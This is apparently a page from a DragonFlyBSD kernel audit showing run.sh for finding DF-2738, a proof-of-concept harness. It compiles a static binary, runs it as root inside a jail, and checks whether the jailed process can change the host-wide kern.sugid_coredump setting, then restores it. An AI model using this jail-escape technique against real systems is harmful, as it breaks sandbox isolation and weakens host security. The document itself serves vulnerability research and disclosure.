DragonFlyBSD Kernel Audit
DF-2738 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2738 run (needs real root on the DragonFly guest):
#  1. build static writer          (build.sh)
#  2. make a minimal jail root with just the static binary
#  3. record host state, run writer INSIDE jail(8), record host state
#  4. restore host state
# Expected (vulnerable kernel): 4x "WROTE-HOST-GLOBAL", host kern.sugid_coredump 0->1
set -e
cc -static -o /tmp/jailwrite /tmp/jailwrite.c
mkdir -p /tmp/jt /tmp/jt/usr/libexec
cp /tmp/jailwrite /tmp/jt/jailwrite
echo "=== HOST BEFORE ==="
sysctl -n kern.sugid_coredump kern.maxfiles kern.securelevel
echo "=== JAIL (uid-0 inside, legacy jail(8)) ==="
jail /tmp/jt jtest-DF2738 127.0.0.1 /jailwrite
echo "=== HOST AFTER ==="
sysctl -n kern.sugid_coredump kern.maxfiles kern.securelevel
echo "=== RESTORE ==="
sysctl -w kern.sugid_coredump=0 >/dev/null
rm -rf /tmp/jt
sysctl -n kern.sugid_coredump
echo DONE